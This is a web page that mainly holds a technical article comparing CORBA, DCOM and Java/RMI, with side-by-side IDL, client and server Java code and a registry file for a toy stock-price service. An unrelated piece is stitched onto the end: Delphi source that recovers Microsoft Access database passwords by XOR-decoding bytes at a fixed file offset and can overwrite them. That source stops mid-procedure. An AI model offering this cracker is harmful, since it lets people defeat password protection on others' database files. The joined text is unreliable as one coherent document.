CORBA relies on a protocol called the Internet Inter-ORB Protocol (IIOP) for remoting objects. Everything in the CORBA architecture depends on an Object Request Broker (ORB). The ORB acts as a central Object Bus over which each CORBA object interacts transparently with other CORBA objects located either locally or remotely. Each CORBA server object has an interface and exposes a set of methods. To request a service, a CORBA client acquires an object reference to a CORBA server object. The client can now make method calls on the object reference as if the CORBA server object resided in the client's address space. The ORB is responsible for finding a CORBA object's implementation, preparing it to receive requests, communicate requests to it and carry the reply back to the client. A CORBA object interacts with the ORB either through the ORB interface or through an Object Adapter - either a Basic Object Adapter (BOA) or a Portable Object Adapter (POA). Since CORBA is just a specification, it can be used on diverse operating system platforms from mainframes to UNIX boxes to Windows machines to handheld devices as long as there is an ORB implementation for that platform. Major ORB vendors like Inprise have CORBA ORB implementations through their VisiBroker product for Windows, UNIX and mainframe platforms and Iona through their Orbix product.

DCOM which is often called 'COM on the wire', supports remoting objects by running on a protocol called the Object Remote Procedure Call (ORPC). This ORPC layer is built on top of DCE's RPC and interacts with COM's run-time services. A DCOM server is a body of code that is capable of serving up objects of a particular type at runtime. Each DCOM server object can support multiple interfaces each representing a different behavior of the object. A DCOM client calls into the exposed methods of a DCOM server by acquiring a pointer to one of the server object's interfaces. The client object then starts calling the server object's exposed methods through the acquired interface pointer as if the server object resided in the client's address space. As specified by COM, a server object's memory layout conforms to the C++ vtable layout. Since the COM specification is at the binary level it allows DCOM server components to be written in diverse programming languages like C++, Java, Object Pascal (Delphi), Visual Basic and even COBOL. As long as a platform supports COM services, DCOM can be used on that platform. DCOM is now heavily used on the Windows platform. Companies like Software AG provide COM service implementations through their EntireX product for UNIX, Linux and mainframe platforms; Digital for the Open VMS platform and Microsoft for Windows and Solaris platforms.

Java/RMI relies on a protocol called the Java Remote Method Protocol (JRMP). Java relies heavily on Java Object Serialization, which allows objects to be marshaled (or transmitted) as a stream. Since Java Object Serialization is specific to Java, both the Java/RMI server object and the client object have to be written in Java. Each Java/RMI Server object defines an interface which can be used to access the server object outside of the current Java Virtual Machine(JVM) and on another machine's JVM. The interface exposes a set of methods which are indicative of the services offered by the server object. For a client to locate a server object for the first time, RMI depends on a naming mechanism called an RMIRegistry that runs on the Server machine and holds information about available Server Objects. A Java/RMI client acquires an object reference to a Java/RMI server object by doing a lookup for a Server Object reference and invokes methods on the Server Object as if the Java/RMI server object resided in the client's address space. Java/RMI server objects are named using URLs and for a client to acquire a server object reference, it should specify the URL of the server object as you would with the URL to a HTML page. Since Java/RMI relies on Java, it can be used on diverse operating system platforms from mainframes to UNIX boxes to Windows machines to handheld devices as long as there is a Java Virtual Machine (JVM) implementation for that platform. In addition to Javasoft and Microsoft, a lot of other companies have announced Java Virtual Machine ports.

Comparing Apples to Apples

CORBA 3.0 will add a middleware component model (much like MTS or EJB) to CORBA. Since it is still in a pre-spec stage, we do not know much about how the CORBA middleware component model is going to look like. As of CORBA 2.x, there is no middleware component model that CORBA defines. Though I would really like to compare MTS, EJB and CORBA 3.0's middleware component model (whatever it's going to be called) , I reserve it for a future article (Click Here...). By the way, there is a lot of comparison going on between COM and EJB. This is entirely wrong. This is like comparing apples to oranges. The competing technologies are MTS and EJB. Hence, the real comparison should be between MTS and EJB .

Application Sample - The StockMarket Server and Client

The StockMarket server reports the stock price of any given symbol. It has a method called get_price() to get the stock value of a particular symbol.

I have selected Java as the implementation language for these examples here for three reasons :

  1. Java/RMI can only be implemented using Java.
  2. Since I am comparing Java/RMI with other object technologies, I would have to implement the DCOM and CORBA objects too in Java.
  3. Java is the best language to code CORBA and COM objects in since it keeps the implementation simple, easy to understand, and is most elegant.

Each of these implementations define an IStockMarket interface. They expose a get_price() method that returns a float value indicating the stock value of the symbol passed in. We list the sources from four files. The first set of files are the IDL and Java files that define the interface and its exposed methods. The second set of files show how the client invokes methods on these interfaces by acquiring references to the server object. The third set of files show the Server object implementations. The fourth set of files show the main program implementations that start up the Remote Server objects for CORBA and Java/RMI. No main program implementation is shown for DCOM since the JavaReg program takes up the role of invoking the DCOM Server object on the Server machine. This means you have to also ensure that JavaReg is present on your server machine.

The IDL Interface

Whenever a client needs some service from a remote distributed object, it invokes a method implemented by the remote object. The service that the remote distributed object (Server) provides is encapsulated as an object and the remote object's interface is described in an Interface Definition Language (IDL). The interfaces specified in the IDL file serve as a contract between a remote object server and its clients. Clients can thus interact with these remote object servers by invoking methods defined in the IDL.

DCOM - The DCOM IDL file shows that our DCOM server implements a dual interface. COM supports both static and dynamic invocation of objects. It is a bit different than how CORBA does through its Dynamic Invocation Interface (DII) or Java does with Reflection. For the static invocation to work, The Microsoft IDL (MIDL) compiler creates the proxy and stub code when run on the IDL file. These are registered in the systems registry to allow greater flexibility of their use. This is the vtable method of invoking objects. For dynamic invocation to work, COM objects implement an interface called IDispatch. As with CORBA or Java/RMI, to allow for dynamic invocation, there has to be some way to describe the object methods and their parameters. Type libraries are files that describe the object, and COM provides interfaces, obtained through the IDispatch interface, to query an Object's type library. In COM, an object whose methods are dynamically invoked must be written to support IDispatch. This is unlike CORBA where any object can be invoked with DII as long as the object information is in the Implementation Repository. The DCOM IDL file also associates the IStockMarket interface with an object class StockMarket as shown in the coclass block. Also notice that in DCOM, each interface is assigned a Universally Unique IDentifier (UUID) called the Interface ID (IID). Similarly, each object class is assigned a unique UUID called a CLasS ID (CLSID). COM gives up on multiple inheritance to provide a binary standard for object implementations. Instead of supporting multiple inheritance, COM uses the notion of an object having multiple interfaces to achieve the same purpose. This also allows for some flexible forms of programming.

DCOM - IDL | CORBA - IDL | Java/RMI - Interface definition
[
uuid(7371a240-2e51-11d0-b4c1-444553540000),
version(1.0)
]
library SimpleStocks
{
importlib("stdole32.tlb");
[
uuid(BC4C0AB0-5A45-11d2-99C5-00A02414C655),
dual
]
interface IStockMarket : IDispatch
{
HRESULT get_price([in] BSTR p1, [out, retval] float * rtn);
}

[
uuid(BC4C0AB3-5A45-11d2-99C5-00A02414C655),
]
coclass StockMarket
{
interface IStockMarket;
};
};
         module SimpleStocks
{
interface StockMarket
{
float get_price( in string symbol );
};
}; 		package SimpleStocks;
import java.rmi.*;
import java.util.*;

public interface StockMarket extends java.rmi.Remote
{
float get_price( String symbol ) throws RemoteException;
}
File : StockMarketLib.idl | File : StockMarket.idl | File : StockMarket.java

CORBA - Both CORBA and Java/RMI support multiple inheritance at the IDL or interface level. One difference between CORBA (and Java/RMI) IDLs and COM IDLs is that CORBA (and Java/RMI) can specify exceptions in the IDLs while DCOM does not. In CORBA, the IDL compiler generates type information for each method in an interface and stores it in the Interface Repository (IR). A client can thus query the IR to get run-time information about a particular interface and then use that information to create and invoke a method on the remote CORBA server object dynamically through the Dynamic Invocation Interface (DII). Similarly, on the server side, the Dynamic Skeletion Interface (DSI) allows a client to invoke an operation of a remote CORBA Server object that has no compile time knowledge of the type of object it is implementing. The CORBA IDL file shows the StockMarket interface with the get_price() method. When an IDL compiler compiles this IDL file it generates files for stubs and skeletons.

Java/RMI - Notice that unlike the other two, Java/RMI uses a .java file to define it's remote interface. This interface will ensure type consistency between the Java/RMI client and the Java/RMI Server Object. Every remotable server object in Java/RMI has to extend the java.rmi.Remote class. Similarly, any method that can be remotely invoked in Java/RMI may throw a java.rmi.RemoteException. java.rmi.RemoteException is the superclass of many more RMI specific exception classes. We define an interface called StockMarket which extends the java.rmi.Remote class. Also notice that the get_price() method throws a java.rmi.RemoteException.

How remoting works

To invoke a remote method, the client makes a call to the client proxy. The client side proxy packs the call parameters into a request message and invokes a wire protocol like IIOP(in CORBA) or ORPC(in DCOM) or JRMP(in Java/RMI) to ship the message to the server. At the server side, the wire protocol delivers the message to the server side stub. The server side stub then unpacks the message and calls the actual method on the object. In both CORBA and Java/RMI, the client stub is called the stub or proxy and the server stub is called skeleton. In DCOM, the client stub is referred to as proxy and the server stub is referred to as stub.

Implementing the Distributed Object Client

DCOM Client - The DCOM client shown below calls into the DCOM server object's methods by first acquiring a pointer to the server object. The new keyword here instantiates the StockMarket DCOM Server object. This leads the Microsoft JVM to use the CLSID to make a CoCreateInstance() call. The IUnknown pointer returned by CoCreateInstance() is then cast to IStockMarket, as shown below:

IStockMarket market = (IStockMarket)new simplestocks.StockMarket();

The cast to IStockMarket forces the Microsoft JVM to call the DCOM server object's QueryInterface() function to request a pointer to IStockMarket. If the interface is not supported, a ClassCastException is thrown. Reference Counting is handled automatically in Java/COM and the Microsoft JVM takes up the responsibility of calling IUnknown::AddRef() and Java's Garbage Collector automatically calls IUnknown::Release(). Once the client acquires a valid pointer to the DCOM server object, it calls into its methods as though it were a local object running in the client's address space.

CORBA Client - The CORBA client will first have to initialize the CORBA ORB by making a call to ORB.init(). It then instantiates a CORBA server object by binding to a server object's remote reference. Though both Inprise's VisiBroker and Iona's Orbix have a bind() method to bind and obtain a server object reference like,

StockMarket market = StockMarketHelper.bind( orb ); // this is Visibroker or Orbix specific

we will use the CORBA Naming Service to do the same thing so that we are compatible with any ORB. We first look up a NameService and obtain a CORBA object reference. We use the returned CORBA.Object to narrow down to a naming context.

NamingContext root = NamingContextHelper.narrow( orb.resolve_initial_references("NameService") );

We now create a NameComponent and narrow down to the server object reference by resolving the name in the naming context that was returned to us by the COSNaming (CORBA Object Services - Naming) helper classes.

NameComponent[] name = new NameComponent[1] ;
name[0] = new NameComponent("NASDAQ","");

StockMarket market = StockMarketHelper.narrow(root.resolve(name));

Once the client has acquired a valid remote object reference to the CORBA server object, it can call into the server object's methods as if the server object resided in the client's address space.

DCOM - Client implementation | CORBA - Client implementation | Java/RMI - Client implementation
//
//
// StockMarketClient
//
//
import simplestocks.*;

public class StockMarketClient
{
public static void main(String[] args)
{
try
{
IStockMarket market = (IStockMarket)new simplestocks.StockMarket();
System.out.println( "The price of MY COMPANY is " + market.get_price("MY_COMPANY") );
}
catch (com.ms.com.ComFailException e)
{
System.out.println( "COM Exception:" );
System.out.println( e.getHResult() );
System.out.println( e.getMessage() );
}
}
}
         //
//
// StockMarketClient
//
//
import org.omg.CORBA.*;
import org.omg.CosNaming.*;
import SimpleStocks.*;

public class StockMarketClient
{
public static void main(String[] args)
{
try
{
ORB orb = ORB.init();
NamingContext root = NamingContextHelper.narrow( orb.resolve_initial_references("NameService") );
NameComponent[] name = new NameComponent[1] ;
name[0] = new NameComponent("NASDAQ","");

StockMarket market = StockMarketHelper.narrow(root.resolve(name));
System.out.println("Price of MY COMPANY is " + market.get_price("MY_COMPANY"));
}
catch( SystemException e )
{
System.err.println( e );
}
}
} 		//
//
// StockMarketClient
//
//
import java.rmi.*;
import java.rmi.registry.*;
import SimpleStocks.*;

public class StockMarketClient
{
public static void main(String[] args)throws Exception
{
if(System.getSecurityManager() == null)
{
System.setSecurityManager(new RMISecurityManager());
}
StockMarket market = (StockMarket)Naming.lookup("rmi://localhost/NASDAQ");
System.out.println( "The price of MY COMPANY is "
+ market.get_price("MY_COMPANY") );
}
}
File : StockMarketClient.java | File : StockMarketClient.java | File : StockMarketClient.java

Java/RMI Client - The Java/RMI client first installs a security manager before doing any remote calls.You do this by making a call to System.setSecurityManager(). The RMISecurityManager provided by JavaSoft is an attempt by JavaSoft from having you to write your own implementation. However, JavaSoft does not force you to use it's own RMISecurityManager - you can write your own security manager and install it if you want to.

Note : It is not mandatory to set a security manager for the use of Java/RMI. The reason to do this is so that the Java/RMI client can handle serialized objects for which the client does not have a corresponding class file in its local CLASSPATH. If the security manager is set to the RMISecurityManager, the client can download and instantiate class files from the Java/RMI server. This mechanism is actually fairly important to Java/RMI, as it allows the server to generate subclasses for any Serializable object and provide the code to handle these subclasses to the client.
It is entirely possible to use Java/RMI without setting the security manager, as long as the client has access to definitions for all objects that might be returned. Java/RMI's ability to handle the passing of any object at any time using Serialization and class file download is possible only because the JVM provides a portable and secure environment for passing around Java byte codes that form the Java executable from which Java objects can be reconstructed at run-time, if required.

The Java/RMI client then instantiates a Java/RMI server object by binding to a server object's remote reference through the call to Naming.Lookup().

StockMarket market = (StockMarket)Naming.lookup("rmi://localhost/NASDAQ");

Once the client has acquired a valid object reference to the Java/RMI server object, it can call into the server object's methods as if the server object resided in the client's address space.

Implementing the Distributed Object Server

DCOM Server Object - All the classes that are required for Java/COM are defined in the com.ms.com package. The DCOM Server object shown below implements the IStockMarket interface that we defined in our IDL file. The StockMarket class and the get_price() method are declared as public so that they will be accessible from outside the package. Also notice the CLSID specified and declared as private. It is used by COM to instantiate the object through CoCreateInstance() when a DCOM client does a new remotely. The get_price() method is capable of throwing a ComException.

CORBA Server Object - All the classes that are required for CORBA are defined in the org.omg.CORBA package. The CORBA Server object shown below extends the _StockMarketImplBase class that is a skeleton class generated by our CORBA IDL compiler. The StockMarketImpl class and the get_price() method are declared as public so that they will be accessible from outside the package. The StockMarketImpl class implements all the operations declared in our CORBA IDL file. We need to provide a constructor which takes in a name of type String for our CORBA object server class since the name of the CORBA Server class has to be passed on to the _StockMarketImplBase class object, so that it can be associated with that name with all the CORBA services.

DCOM - Server implementation | CORBA - Server implementation | Java/RMI - Server implementation
//
//
// StockMarketServer
//
//

import com.ms.com.*;
import simplestocks.*;

public class StockMarket implements IStockMarket
{
private static final String CLSID =
"BC4C0AB3-5A45-11d2-99C5-00A02414C655";

public float get_price( String symbol )
{
float price = 0;

for( int i = 0; i < symbol.length(); i++ )
{
price += (int) symbol.charAt(i);
}

price /= 5;
return price;
}

}

         //
//
// StockMarketServer
//
//

import org.omg.CORBA.*;
import SimpleStocks.*;

public class StockMarketImpl extends _StockMarketImplBase
{

public float get_price( String symbol )
{
float price = 0;
for(int i = 0; i < symbol.length(); i++)
{
price += (int) symbol.charAt( i );
}
price /= 5;
return price;
}

public StockMarketImpl( String name )
{
super( name );
}

} 		//
//
// StockMarketServer
//
//

package SimpleStocks;
import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;

public class StockMarketImpl extends UnicastRemoteObject implements StockMarket
{

public float get_price( String symbol )
{
float price = 0;
for( int i = 0; i < symbol.length(); i++ )
{
price += (int) symbol.charAt( i );
}
price /= 5;
return price;
}

public StockMarketImpl( String name ) throws RemoteException
{
try
{
Naming.rebind( name, this );
}
catch( Exception e )
{
System.out.println( e );
}
}

}
File : StockMarket.java | File : StockMarketImpl.java | File : StockMarketImpl.java

Java/RMI Server Object - All the classes that are required for Java/RMI are defined in the java.rmi package. The Java/RMI Server object shown extends the UnicastRemoteObject class that has all of Java/RMI's remoting methods defined and implements the StockMarket interface. The StockMarketImpl class and the get_price() method are declared as public so that they will be accessible from outside the package. The StockMarketImpl class implements all the operations declared in our Java/RMI interface file. We need to provide a constructor which takes in a name of type String for our Java/RMI object server class since the name of the Java/RMI Server class is used to establish a binding and associate a public name with this Java/RMI Server Object in the RMIRegistry. The get_price() method is capable of throwing a RemoteException since it is a remotable method.

The Server Main Programs

CORBA Server Main - The first thing that has to be done by the main program is to initialize the CORBA ORB using ORB.init(). An Object Adapter (OA) sits on top of the ORB, and is responsible for connecting the CORBA server object implementation to the CORBA ORB. Object Adapters provide services like generation and interpretation of object references, method invocation, object activation and deactivation, and mapping object references to implementations. You have to initialize either the Basic Object Adapter(BOA) or the Portable Object Adapter(POA) depending on what your ORB supports. (Note : I use Inprise 's VisiBroker as my CORBA ORB and hence I conform to its implementation requirement where I need to init the BOA). You do this by calling orb.BOA_init(). We then create the CORBA Server object with the call

StockMarketImpl stockMarketImpl = new StockMarketImpl("NASDAQ");

Note that we pass in a name "NASDAQ" by which our object is identified by all CORBA services. We then inform the ORB that the Server Object is ready to receive invocations by the statement:

boa.obj_is_ready( stockMarketImpl );

Since we are using the CORBA Object Service's Naming Service for our clients to connect to us, we will have to bind our server object with a naming service, so that clients would be able to find us. The following code helps us to do that. (Note : This ensures that our code will work with any CORBA ORB. If our clients use the bind() method -specific to VisiBroker and Orbix- to connect to the server object we do not need to do this.)
org.omg.CORBA.Object object = orb.resolve_initial_references("NameService");
NamingContext root = NamingContextHelper.narrow( object ) ;
NameComponent[] name = new NameComponent[1];
name[0] = new NameComponent("NASDAQ", "");
root.rebind(name, stockMarketImpl);

The next statement ensures that our main program sleeps on a daemon thread and does not fall off and exit the program.

boa.impl_is_ready();

We now enter into an event loop and are in that loop till the main program is shut down.

CORBA - Server Main | Java/RMI - Server Main
//
//
// StockMarketServer Main
//
//
import org.omg.CORBA.*;
import org.omg.CosNaming.*;
import SimpleStocks.*;

public class StockMarketServer
{

public static void main(String[] args)
{
try
{
ORB orb = ORB.init();
BOA boa = orb.BOA_init();
StockMarketImpl stockMarketImpl = new StockMarketImpl("NASDAQ");
boa.obj_is_ready( stockMarketImpl );

org.omg.CORBA.Object object = orb.resolve_initial_references("NameService");
NamingContext root = NamingContextHelper.narrow( object ) ;
NameComponent[] name = new NameComponent[1];
name[0] = new NameComponent("NASDAQ", "");
root.rebind(name, stockMarketImpl);

boa.impl_is_ready();
}
catch( Exception e )
{
e.printStackTrace();
}
}
} 		//
//
// StockMarketServer Main
//
//
import java.rmi.*;
import java.rmi.server.UnicastRemoteObject;
import SimpleStocks.*;

public class StockMarketServer
{

public static void main(String[] args) throws Exception
{
if(System.getSecurityManager() == null)
{
System.setSecurityManager(new RMISecurityManager());
}
StockMarketImpl stockMarketImpl = new StockMarketImpl("NASDAQ");
}

}
File : StockMarketServer.java | File : StockMarketServer.java

Java/RMI Server Main - The Java/RMI client will first have to install a security manager before doing any remote calls. You do this by making a call to System.setSecurityManager(). We then create the Java/RMI Server object with the call

StockMarketImpl stockMarketImpl = new StockMarketImpl("NASDAQ");

and remain there till we are shut down.

DCOM - Notice that we have not provided a Main program for our DCOM Server implementation. The Java Support in Internet Explorer runs as an in-process server, and in-process servers cannot normally be remoted using the Windows NT 4.0 Distributed COM (DCOM). However, it is possible to launch a "surrogate" .EXE in its own process that then loads the in-process server. This surrogate can then be remoted using DCOM, in effect allowing the in-process server to be remoted.You can use JavaReg's /surrogate option to support remote access to a COM class implemented in Java. When first registering the class, specify the /surrogate option on the command line. For example:

javareg /register /class:StockMarket /clsid:{FE19E681-508B-11d2-A187-000000000000} /surrogate

This adds a LocalServer32 key to the registry in addition to the usual InprocServer32 key. The command line under the LocalServer32 key specifies JavaReg with the /surrogate but without the /register option.

HKEY_CLASSES_ROOT
CLSID
{BC4C0AB3-5A45-11d2-99C5-00A02414C655}
InprocServer32 = msjava.dll
LocalServer32 = javareg /clsid:{BC4C0AB3-5A45-11d2-99C5-00A02414C655} /surrogate

This causes JavaReg to act as the surrogate itself. When a remote client requests services from the COM class that you've implemented using Java, JavaReg is invoked. JavaReg then loads the Java Support in Internet Explorer with the specified Java class. (This means that when distributing your Java program, your installation program must install JavaReg along with the Java class.) You can remove the LocalServer32 key by rerunning JavaReg with the /class option, specifying the same class name, but without the /clsid or /surrogate options

javareg /register /class:StockMarket

DCOM - Registry File
REGEDIT4

[HKEY_CLASSES_ROOT\CLSID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}]
@="Java Class: StockMarket"
"AppID"="{BC4C0AB3-5A45-11d2-99C5-00A02414C655}"

[HKEY_CLASSES_ROOT\CLSID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}\InprocServer32]
@="MSJAVA.DLL"
"ThreadingModel"="Both"
"JavaClass"="StockMarket"

[HKEY_CLASSES_ROOT\CLSID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}\LocalServer32]
@="javareg /clsid:{BC4C0AB3-5A45-11d2-99C5-00A02414C655} /surrogate"

[HKEY_CLASSES_ROOT\CLSID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}\Implemented Categories]

[HKEY_CLASSES_ROOT\CLSID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}\Implemented Categories\{BE0975F0-BBDD-11CF-97DF-00AA001F73C1}]

[HKEY_CLASSES_ROOT\AppID\{BC4C0AB3-5A45-11d2-99C5-00A02414C655}]
@="Java Class: StockMarket"
File : StockMarket.reg

Conclusion

The architectures of CORBA, DCOM and Java/RMI provide mechanisms for transparent invocation and accessing of remote distributed objects. Though the mechanisms that they employ to achieve remoting may be different, the approach each of them take is more or less similar.

DCOM | CORBA | Java/RMI
Supports multiple interfaces for objects and uses the QueryInterface() method to navigate among interfaces. This means that a client proxy dynamically loads multiple server stubs in the remoting layer depending on the number of interfaces being used. | Supports multiple inheritance at the interface level | Supports multiple inheritance at the interface level
Every object implements IUnknown. | Every interface inherits from CORBA.Object | Every server object implements java.rmi.Remote (Note : java.rmi.UnicastRemoteObject is merely a convenience class which happens to call UnicastRemoteObject.exportObject(this) in its constructors and provide equals() and hashCode() methods)
Uniquely identifies a remote server object through its interface pointer, which serves as the object handle at run-time. | Uniquely identifies remote server objects through object references(objref), which serves as the object handle at run-time. These object references can be externalized (persistified) into strings which can then be converted back into an objref. | Uniquely identifies remote server objects with the ObjID, which serves as the object handle at run-time. When you .toString() a remote reference, there will be a substring such as "[1db35d7f:d32ec5b8d3:-8000, 0]" which is unique to the remote server object.
Uniquely identifies an interface using the concept of Interface IDs (IID) and uniquely identifies a named implementation of the server object using the concept of Class IDs (CLSID) the mapping of which is found in the registry. | Uniquely identifies an interface using the interface name and uniquely identifies a named implementation of the server object by its mapping to a name in the Implementation Repository | Uniquely identifies an interface using the interface name and uniquely identifies a named implementation of the server object by its mapping to a URL in the Registry
The remote server object reference generation is performed on the wire protocol by the Object Exporter | The remote server object reference generation is performed on the wire protocol by the Object Adapter | The remote server object reference generation is performed by the call to the method UnicastRemoteObject.exportObject(this)
Tasks like object registration, skeleton instantiation etc. are either explicitly performed by the server program or handled dynamically by the COM run-time system. | The constructor implicitly performs common tasks like object registration, skeleton instantiation etc | The RMIRegistry performs common tasks like object registration through the Naming class. UnicastRemoteObject.exportObject(this) method performs skeleton instantiation and it is implicitly called in the object constructor.
Uses the Object Remote Procedure Call(ORPC) as its underlying remoting protocol | Uses the Internet Inter-ORB Protocol(IIOP) as its underlying remoting protocol | Uses the Java Remote Method Protocol(JRMP) as its underlying remoting protocol (at least for now)
When a client object needs to activate a server object, it can do a CoCreateInstance()- (Note:There are other ways that the client can get a server's interface pointer, but we won't go into that here) | When a client object needs to activate a server object, it binds to a naming or a trader service - (Note:There are other ways that the client can get a server reference, but we won't go into that here) | When a client object needs a server object reference, it has to do a lookup() on the remote server object's URL name.
The object handle that the client uses is the interface pointer | The object handle that the client uses is the Object Reference | The object handle that the client uses is the Object Reference
The mapping of Object Name to its Implementation is handled by the Registry | The mapping of Object Name to its Implementation is handled by the Implementation Repository | The mapping of Object Name to its Implementation is handled by the RMIRegistry
The type information for methods is held in the Type Library | The type information for methods is held in the Interface Repository | Any type information is held by the Object itself which can be queried using Reflection and Introspection
The responsibility of locating an object implementation falls on the Service Control Manager (SCM) | The responsibility of locating an object implementation falls on the Object Request Broker (ORB) | The responsibility of locating an object implementation falls on the Java Virtual Machine (JVM)
The responsibility of activating an object implementation falls on the Service Control Manager (SCM) | The responsibility of locating an object implementation falls on the Object Adapter (OA) - either the Basic Object Adapter (BOA) or the Portable Object Adapter (POA) | The responsibility of activating an object implementation falls on the Java Virtual Machine (JVM)
The client side stub is called a proxy | The client side stub is called a proxy or stub | The client side stub is called a proxy or stub
The server side stub is called stub | The server side stub is called a skeleton | The server side stub is called a skeleton
All parameters passed between the client and server objects are defined in the Interface Definition file. Hence, depending on what the IDL specifies, parameters are passed either by value or by reference. | When passing parameters between the client and the remote server object, all interface types are passed by reference. All other objects are passed by value including highly complex data types | When passing parameters between the client and the remote server object, all objects implementing interfaces extending java.rmi.Remote are passed by remote reference. All other objects are passed by value
Attempts to perform distributed garbage collection on the wire by pinging. The DCOM wire protocol uses a Pinging mechanism to garbage collect remote server object references. These are encapsulated in the IOXIDResolver interface. | Does not attempt to perform general-purpose distributed garbage collection. | Attempts to perform distributed garbage collection of remote server objects using the mechanisms bundled in the JVM
Allows you to define arbitrarily complex structs, discriminated unions and conformant arrays in IDL and pass these as method parameters. Complex types that will cross interface boundaries must be declared in the IDL. | Complex types that will cross interface boundaries must be declared in the IDL | Any Serializable Java object can be passed as a parameter across processes.
Will run on any platform as long as there is a COM Service implementation for that platform (like Software AG's EntireX ) | Will run on any platform as long as there is a CORBA ORB implementation for that platform (like Inprise's VisiBroker ) | Will run on any platform as long as there is a Java Virtual Machine implementation for that platform (provided by a whole lot of companies in addition to JavaSoft and Microsoft)
Since the specification is at the binary level, diverse programming languages like C++, Java, Object Pascal (Delphi), Visual Basic and even COBOL can be used to code these objects | Since this is just a specification, diverse programming languages can be used to code these objects as long as there are ORB libraries you can use to code in that language | Since it relies heavily on Java Object Serialization, these objects can only be coded in the Java language
Each method call returns a well-defined "flat" structure of type HRESULT, whose bit settings encode the return status. For richer exception handling it uses Error Objects (of type IErrorInfo), and the server object has to implement the ISupportErrorInfo interface. | Exception handling is taken care of by Exception Objects. When a distributed object throws an exception object, the ORB tranparently serializes and marshals it across the wire. | Allows throwing exceptions which are then serialized and marshaled across the wire.

The Sources

DCOM | CORBA | Java/RMI
Get the DCOM Visual J++ 1.1 project in a zip file from here StockDCOM.zip | Get the CORBA JBuilder 2 project in a zip file from here StockCORBA.zip | Get the Java/RMI JBuilder 2 project in a zip file from here StockRMI.zip
File : StockDCOM.zip | File : StockCORBA.zip | File : StockRMI.zip

Acknowledgements
A lot of people took the time to review this write-up and offer their valuble comments. I thank all of them. In particular, I would like to thank Don Box (DevelopMentor), Adrian Colley (JavaSoft-RMI team), Dr.Doug C. Schmidt (Washington University), Rajiv Delwadia, Tarak Modi (both of Clarus Corp) and Jon Abbey (Applied Research Laboratories). Thanks to Salil Deshpande (Inprise) who in the first place instigated me to write a comparison and for giving me some good feedback and great suggestions.

I am grateful to Nat Brown (Microsoft-Author, COM spec.) for taking time to review this write-up and offer his invaluble comments.

I am still receiving excellent comments and suggestions from various people. This article reflects the discussions that I have had with a lot of them. The acknowledgements column is a way of showing my appreciation to all these people who have said 'We Care'.

Where do we go from here...

The moment we talk of comparisons, we start comparing features one after the other. There is a lot more to these than what I have discussed above. In fact, whole new powerful models are being built based on or around these three remoting paradigms. Since the DCOM, CORBA and Java/RMI remoting models are the basis for a lot of other paradigms built on top of them, the moment we talk of these other paradigms, it is the start of a totally new and different comparison.

I could have gone on comparing MTS and EJB next , or DNA and J2EE, or MSMQ and JMS, or Jini and Universal Plug and Play... But they are entirely different comparisons. I have to stop at some point and I decided that I stop right here, giving myself an opportunity to write about other technology comparisons in future articles.

Author Bibliography

Gopalan Suresh Raj is a Software Architect, Developer and an active Author. He is contributing author to a couple of books "Enterprise Java Computing-Applications and Architecture" and "The Awesome Power of JavaBeans". His expertise spans enterprise component architectures and distributed object computing. Visit him at his Web Cornucopia?/strong> site ( http://www.execpc.com/~gopalan ) or mail him at gopalan@execpc.com .


CSDN_文档中心_AccesS密码的打击

type
TForm1 = class(TForm)
Button1: TButton;
Chk2000: TCheckBox;
Edit1: TEdit;
Button2: TButton;
Edit2: TEdit;
OpenDialog1: TOpenDialog;
Button3: TButton;
Label1: TLabel;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Edit2KeyPress(Sender: TObject; var Key: Char);
private
procedure WMDropFiles(var Msssage: TMessage); message WM_DROPFILES ;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}

CONST
xorString:array[0..12]of byte=
( $86, $FB, $EC, $37,
$5D, $44, $9C, $FA,
$C6, $5E, $28, $E6,$13 );
xorString2:array[0..20]of byte=
( $D3, $EC, $08, $9C,
$93, $28, $46, $8A,
$01, $7B, $A0, $DF,
$22, $13, $9A, $B1,
$61, $79, $C7, $7C,$5B);

procedure TForm1.WMDropFiles(var Msssage: TMessage);
begin
ShowMessage('Hello Boy');
end;
procedure TForm1.Button1Click(Sender: TObject);

VAR
passBuff: array[0..14]of byte;
pass: array[0..14]of char;
passBuff2: array[0..40]of byte;
pass2: array[0..20]of char;
B: Byte;
F:TFileStream;
I,j:integer;

begin
file://ShowMessage(Char($86)+ Char($F8)+Char($EC))
if not FileExists(Edit1.Text) then
begin
MessageBox(Handle,'你是MM呀','我好种意你呀',MB_OK + MB_ICONINFORMATION);
exit;
END;
F := TFileStream.Create(Edit1.text,fmOpenRead);
if not Chk2000.Checked then
begin
Try
F.Seek($42,soFromBeginning);
F.Read(PassBuff,14);
for i := 0 to 13 do
begin
B := PassBuff[i] XOR xorString[i];
Pass[i] := Char(B);
end;
pass[Sizeof(Pass)-1] := #0;
Edit2.Text := StrPas(Pass);
finally
f.Free;
end;
end
else
begin
try
F.Seek($42,soFromBeginning);
F.Read(passBuff2,40);
I:=0;j:=0;
while I<40 do
begin
B := passBuff2[i] xor xorString2[j];
pass2[j]:=char(B);
inc(i,2);inc(j);
end;
pass2[sizeof(pass2) - 1] := #0;
Edit2.Text:=StrPas(Pass2);
finally
f.Free;
end;
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
if OpenDialog1.Execute then
Edit1.text := OpenDialog1.FileName;
end;

procedure TForm1.Button3Click(Sender: TObject);
VAR
passBuff: array[0..14]of byte;
pass: array[0..14]of char;
passBuff2: array[0..40]of byte;
pass2: array[0..20]of char;
B: Byte;
F:TFileStream;
I,j:integer;
s: string;
begin
file://ShowMessage(Char($86)+ Char($F8)+Char($EC))
if not FileExists(Edit1.Text) then
begin
MessageBox(Handle,'你是MM呀','我好种意你呀',MB_OK + MB_ICONINFORMATION);
exit;
END;
F := TFileStream.Create(Edit1.text,fmOpenWrite);
if not Chk2000.Checked then
begin
Try
FillChar(Pass,14,#0);
s := EdIt2.Text;
StrCopy(@Pass,Pchar(Trim(s)));
for i := 0 to 13 do
begin
B := Byte(Pass[i]);
PassBuff[i] := xorString[i] xor B;
end;
PassBuff[13] := $B6;
F.Seek($42,soFromBeginning);
F.Write(PassBuff,14);
finally
